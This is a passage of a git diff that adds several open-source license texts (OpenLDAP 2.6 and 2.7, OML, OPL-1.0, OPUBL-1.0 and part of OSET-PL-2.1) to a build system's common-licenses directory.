+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.6 b/meta/files/common-licenses/OLDAP-2.6
new file mode 100644
index 0000000000..576d81ce84
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.6
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.6, 14 June 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.7 b/meta/files/common-licenses/OLDAP-2.7
new file mode 100644
index 0000000000..9ecc91292e
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.7
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.7, 7 September 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices,
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution, and
+
+3. Redistributions must contain a verbatim copy of this document.
+
+The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use this Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND ITS CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The names of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission. Title to copyright in this Software shall at all times remain with copyright holders.
+
+OpenLDAP is a registered trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distribute verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OML b/meta/files/common-licenses/OML
new file mode 100644
index 0000000000..62b6589712
--- /dev/null
+++ b/meta/files/common-licenses/OML
@@ -0,0 +1,5 @@
+This FastCGI application library source and object code (the "Software") and its documentation (the "Documentation") are copyrighted by Open Market, Inc ("Open Market"). The following terms apply to all files associated with the Software and Documentation unless explicitly disclaimed in individual files.
+
+Open Market permits you to use, copy, modify, distribute, and license this Software and the Documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this Software and Documentation may be copyrighted by their authors and need not follow the licensing terms described here. If modifications to this Software and Documentation have new licensing terms, the new terms must be clearly indicated on the first page of each file where they apply.
+
+OPEN MARKET MAKES NO EXPRESS OR IMPLIED WARRANTY WITH RESPECT TO THE SOFTWARE OR THE DOCUMENTATION, INCLUDING WITHOUT LIMITATION ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL OPEN MARKET BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DAMAGES ARISING FROM OR RELATING TO THIS SOFTWARE OR THE DOCUMENTATION, INCLUDING, WITHOUT LIMITATION, ANY INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES OR SIMILAR DAMAGES, INCLUDING LOST PROFITS OR LOST DATA, EVEN IF OPEN MARKET HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE SOFTWARE AND DOCUMENTATION ARE PROVIDED "AS IS". OPEN MARKET HAS NO LIABILITY IN CONTRACT, TORT, NEGLIGENCE OR OTHERWISE ARISING OUT OF THIS SOFTWARE OR THE DOCUMENTATION.
diff --git a/meta/files/common-licenses/OPL-1.0 b/meta/files/common-licenses/OPL-1.0
new file mode 100644
index 0000000000..4d4fa3a6ed
--- /dev/null
+++ b/meta/files/common-licenses/OPL-1.0
@@ -0,0 +1,136 @@
+OPEN PUBLIC LICENSE
+Version 1.0
+
+1. Definitions.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work, which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document and the corresponding addendum described in section 6.4 below.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.13 "License Author" means Lutris Technologies, Inc.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a worldwide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell (``offer to sell and import'') the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant. Each Contributor hereby grants You a worldwide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Contributor, to to make, have made, use and sell (``offer to sell and import'') the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available, prior to any use, except for internal development and practice, in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You shall notify the Initial Developer of the Modification and the location of the Source Code via the contact means provided for in the Developer Specific license. Initial Developer will be acting as maintainer of the Source Code and may provide an Electronic Distribution mechanism for the Modification to be made available.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims. If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Representations. Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer. If you distribute executable versions containing Covered Code, you must reproduce the notice in Exhibit B in the documentation and/or other materials provided with the product.
+
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) Cite all of the statutes or regulations that prohibit you from complying fully with this license. (c) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions. License Author may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number and shall be submitted to opensource.org for certification.
+
+ 6.2. Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Initial Developer. No one other than Initial Developer has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works. If you create or use a modified version of this License, except in association with the required Developer Specific License described in section 6.4, (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases ``Open'', ``OpenPL'', ``OPL'' or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the Open Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+ 6.4. Required Additional Developer Specific License
+This license is a union of the following two parts that should be found as text files in the same place (directory), in the order of preeminence:
+
+ [1] A Developer specific license.
+
+ [2] The contents of this file OPL_1_0.TXT, stating the general licensing policy of the software.
+
+In case of conflicting dispositions in the parts of this license, the terms of the lower-numbered part will always be superseded by the terms of the higher numbered part.
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+ 8.1 Termination upon Breach
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code, which are properly granted, shall survive any termination of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. Termination Upon Litigation. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ``commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ``commercial computer software'' and ``commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+ his section was intentionally left blank. The contents of this section are found in the corresponding addendum described above.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute with Initial Developer responsibility on an equitable basis.
+
+EXHIBIT A.
+
+Text for this Exhibit A is found in the corresponding addendum, described in section 6.4 above, text file provided by the Initial Developer. This license is not valid or complete with out that file.
+
+EXHIBIT B.
+
+Text for this Exhibit B is found in the corresponding addendum, described in section 6.4 above, text file provided by the Initial Developer. This license is not valid or complete with out that file.
diff --git a/meta/files/common-licenses/OPUBL-1.0 b/meta/files/common-licenses/OPUBL-1.0
new file mode 100644
index 0000000000..1386621e0f
--- /dev/null
+++ b/meta/files/common-licenses/OPUBL-1.0
@@ -0,0 +1,78 @@
+Open Publication License
+
+v1.0, 8 June 1999
+
+I. REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS
+
+The Open Publication works may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that the terms of this license are adhered to, and that this license or an incorporation of it by reference (with any options elected by the author(s) and/or publisher) is displayed in the reproduction.
+
+Proper form for an incorporation by reference is as follows:
+
+ Copyright (c) <year> by <author's name or designee>. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, vX.Y or later (the latest version is presently available at http://www.opencontent.org/openpub/).
+
+The reference must be immediately followed with any options elected by the author(s) and/or publisher of the document (see section VI).
+
+Commercial redistribution of Open Publication-licensed material is permitted.
+
+Any publication in standard (paper) book form shall require the citation of the original publisher and author. The publisher and author's names shall appear on all outer surfaces of the book. On all outer surfaces of the book the original publisher's name shall be as large as the title of the work and cited as possessive with respect to the title.
+
+II. COPYRIGHT
+
+The copyright to each Open Publication is owned by its author(s) or designee.
+
+III. SCOPE OF LICENSE
+
+The following license terms apply to all Open Publication works, unless otherwise explicitly stated in the document.
+
+Mere aggregation of Open Publication works or a portion of an Open Publication work with other works or programs on the same media shall not cause this license to apply to those other works. The aggregate work shall contain a notice specifying the inclusion of the Open Publication material and appropriate copyright notice.
+
+SEVERABILITY. If any part of this license is found to be unenforceable in any jurisdiction, the remaining portions of the license remain in force.
+
+NO WARRANTY. Open Publication works are licensed and provided "as is" without warranty of any kind, express or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose or a warranty of non-infringement.
+
+IV. REQUIREMENTS ON MODIFIED WORKS
+
+All modified versions of documents covered by this license, including translations, anthologies, compilations and partial documents, must meet the following requirements:
+ 1. The modified version must be labeled as such.
+ 2. The person making the modifications must be identified and the modifications dated.
+ 3. Acknowledgement of the original author and publisher if applicable must be retained according to normal academic citation practices.
+ 4. The location of the original unmodified document must be identified.
+ 5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.
+
+V. GOOD-PRACTICE RECOMMENDATIONS
+
+In addition to the requirements of this license, it is requested from and strongly recommended of redistributors that:
+ 1. If you are distributing Open Publication works on hardcopy or CD-ROM, you provide email notification to the authors of your intent to redistribute at least thirty days before your manuscript or media freeze, to give the authors time to provide updated documents. This notification should describe modifications, if any, made to the document.
+ 2. All substantive modifications (including deletions) be either clearly marked up in the document or else described in an attachment to the document.
+ 3. Finally, while it is not mandatory under this license, it is considered good form to offer a free copy of any hardcopy and CD-ROM expression of an Open Publication-licensed work to its author(s).
+
+VI. LICENSE OPTIONS
+
+The author(s) and/or publisher of an Open Publication-licensed document may elect certain options by appending language to the reference to or copy of the license. These options are considered part of the license instance and must be included with the license (or its incorporation by reference) in derived works.
+
+A. To prohibit distribution of substantively modified versions without the explicit permission of the author(s). "Substantive modification" is defined as a change to the semantic content of the document, and excludes mere changes in format or typographical corrections.
+
+To accomplish this, add the phrase `Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder.' to the license reference or copy.
+
+B. To prohibit any publication of this work or derivative works in whole or in part in standard (paper) book form for commercial purposes is prohibited unless prior permission is obtained from the copyright holder.
+
+To accomplish this, add the phrase 'Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.' to the license reference or copy.
+
+OPEN PUBLICATION POLICY APPENDIX:
+
+(This is not considered part of the license.)
+
+Open Publication works are available in source format via the Open Publication home page at http://works.opencontent.org/.
+
+Open Publication authors who want to include their own license on Open Publication works may do so, as long as their terms are not more restrictive than the Open Publication license.
+
+If you have questions about the Open Publication License, please contact David Wiley, and/or the Open Publication Authors' List at opal@opencontent.org, via email.
+
+To subscribe to the Open Publication Authors' List:
+Send E-mail to opal-request@opencontent.org with the word "subscribe" in the body.
+
+To post to the Open Publication Authors' List:
+Send E-mail to opal@opencontent.org or simply reply to a previous post.
+
+To unsubscribe from the Open Publication Authors' List:
+Send E-mail to opal-request@opencontent.org with the word "unsubscribe" in the body.
diff --git a/meta/files/common-licenses/OSET-PL-2.1 b/meta/files/common-licenses/OSET-PL-2.1
new file mode 100644
index 0000000000..15f0c7758c
--- /dev/null
+++ b/meta/files/common-licenses/OSET-PL-2.1
@@ -0,0 +1,161 @@
+OSET Public License
+(c) 2015 ALL RIGHTS RESERVED VERSION 2.1
+
+THIS LICENSE DEFINES THE RIGHTS OF USE, REPRODUCTION, DISTRIBUTION, MODIFICATION, AND REDISTRIBUTION OF CERTAIN COVERED SOFTWARE (AS DEFINED BELOW) ORIGINALLY RELEASED BY THE OPEN SOURCE ELECTION TECHNOLOGY FOUNDATION (FORMERLY “THE OSDV FOUNDATION”). ANYONE WHO USES, REPRODUCES, DISTRIBUTES, MODIFIES, OR REDISTRIBUTES THE COVERED SOFTWARE, OR ANY PART THEREOF, IS BY THAT ACTION, ACCEPTING IN FULL THE TERMS CONTAINED IN THIS AGREEMENT. IF YOU DO NOT AGREE TO SUCH TERMS, YOU ARE NOT PERMITTED TO USE THE COVERED SOFTWARE.
+
+This license was prepared based on the Mozilla Public License (“MPL”), version 2.0. For annotation of the differences between this license and MPL 2.0, please see the OSET Foundation web site at www.OSETFoundation.org/public-license.
+
+The text of the license begins here:
+
+1. Definitions
+
+ 1.1 “Contributor” means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+ 1.2 “Contributor Version” means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor’s Contribution.
+
+ 1.3 “Contribution” means Covered Software of a particular Contributor.
+
+ 1.4 “Covered Software” means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+ 1.5 “Incompatible With Secondary Licenses” means:
+ a. That the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+ b. that the Covered Software was made available under the terms of version 1.x or earlier of the License, but not also under the terms of a Secondary License.
+
+ 1.6 “Executable Form” means any form of the work other than Source Code Form.
+
+ 1.7 “Larger Work” means a work that combines Covered Software with other material, in a separate file (or files) that is not Covered Software.
+
+ 1.8 “License” means this document.
+
+ 1.9 “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+ 1.10 “Modifications” means any of the following:
+ a. any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+ b. any new file in Source Code Form that contains any Covered Software.
+
+ 1.11 “Patent Claims” of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+ 1.12 “Secondary License” means one of: the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+ 1.13 “Source Code Form” means the form of the work preferred for making modifications.
+
+ 1.14 “You” (or “Your”) means an individual or a legal entity exercising rights under this License. For legal entities, “You” includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means: (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+ 2.1 Grants Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+ a. under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+ b. under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+ 2.2 Effective Date
+ The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+ 2.3 Limitations on Grant Scope
